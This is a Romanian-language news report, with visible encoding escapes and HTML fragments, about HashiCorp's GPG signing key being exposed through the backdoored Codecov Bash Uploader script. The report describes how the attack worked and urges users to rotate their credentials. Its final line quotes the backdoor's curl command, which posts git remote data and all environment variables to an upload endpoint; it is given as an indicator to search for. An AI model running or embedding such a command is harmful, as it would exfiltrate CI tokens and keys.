Compania HashiCorp, cunoscut\u0103 pentru dezvoltarea instrumentelor open-source Vagrant, Packer, Nomad \u0219i Terraform, a anun\u021bat c\u0103 un secret GPG-key, folosit pentru a crea semn\u0103turi digitale ce verific\u0103 lans\u0103rile, a fost expus. Atacatorii care au avut acces la cheia GPG au putut, poten\u021bial, s\u0103 fac\u0103 modific\u0103ri ascunse \u00een produsele HashiCorp, certific\u00e2ndu-le cu o semn\u0103tur\u0103 digital\u0103 corect\u0103. Totu\u0219i, compania a afirmat c\u0103 \u00een urma unui audit, nu au fost identificate urme ale tentativelor de modificare a acestor produse. <\/p>\n

\u00cen prezent, cheia GPG compromis\u0103 a fost revocat\u0103 \u0219i un nou cheie a fost introdus\u0103. Problema a afectat doar verificarea prin fi\u0219ierele SHA256SUM \u0219i SHA256SUM.sig, \u0219i nu a atins generarea semn\u0103turilor digitale pentru pachetele Linux DEB \u0219i RPM, furnizate prin releases.hashicorp.com, precum \u0219i mecanismele de confirmare pentru lans\u0103rile de macOS \u0219i Windows (AuthentiCode). <\/p>\n

Scurgerea a avut loc din cauza utiliz\u0103rii \u00een infrastructur\u0103 a scriptului Codecov Bash Uploader (codecov-bash), destinat \u00eenc\u0103rc\u0103rii rapoartelor de acoperire din sistemele de integrare continu\u0103. \u00cen urma unui atac asupra companiei Codecov, a fost implantat un backdoor ascuns \u00een acest script, prin care a fost organizat\u0103 trimiterea parolelor \u0219i cheilor de criptare c\u0103tre serverul<\/a> atacatori. <\/p>\n

Pentru a efectua atacul, atacatorii au folosit o vulnerabilitate \u00een procesul de creare a imaginii Docker Codecov, care permitea extragerea datelor de acces la GCS (Google Cloud Storage), necesare pentru a efectua modific\u0103ri \u00een scriptul Bash Uploader, distribuit de pe site-ul codecov.io. Modific\u0103rile au fost efectuate \u00eenc\u0103 din 31 ianuarie, r\u0103m\u00e2n\u00e2nd neobservate timp de dou\u0103 luni \u0219i permi\u021b\u00e2nd atacatorilor s\u0103 extrag\u0103 informa\u021bii stocate \u00een mediile sistemelor de integrare continu\u0103 ale clien\u021bilor. Prin intermediul codului mali\u021bios ad\u0103ugat, atacatorii au putut ob\u021bine informa\u021bii despre repository-ul Git testat \u0219i toate variabilele de mediu, inclusiv token-uri, chei de criptare \u0219i parole, transmise \u00een sistemele de integrare continu\u0103 pentru a organiza accesul la codul aplica\u021biilor, stocuri \u0219i servicii precum Amazon Web Services \u0219i GitHub. <\/p>\n

Pe l\u00e2ng\u0103 apelurile directe, scriptul Codecov Bash Uploader a fost utilizat \u0219i \u00een cadrul altor \u00eenc\u0103rc\u0103toare, cum ar fi Codecov-action (Github), Codecov-circleci-orb \u0219i Codecov-bitrise-step, utilizatorii c\u0103ror s-au confruntat \u0219i ei cu aceast\u0103 problem\u0103. To\u021bi utilizatorii codecov-bash \u0219i ai produselor asociate sunt sf\u0103tui\u021bi s\u0103 \u00ee\u0219i auditeze infrastructurile \u0219i, de asemenea, s\u0103 \u00ee\u0219i schimbe parolele \u0219i cheile de criptare. Verificarea existen\u021bei unei bre\u0219e \u00een script poate fi realizat\u0103 prin c\u0103utarea liniei curl -sm 0.5 -d \"$(git remote -v)\\\\\\\\\\\\\\\\\\\\\\\\ ENV $(env)\" http:\/\/\/upload\/v2 || true
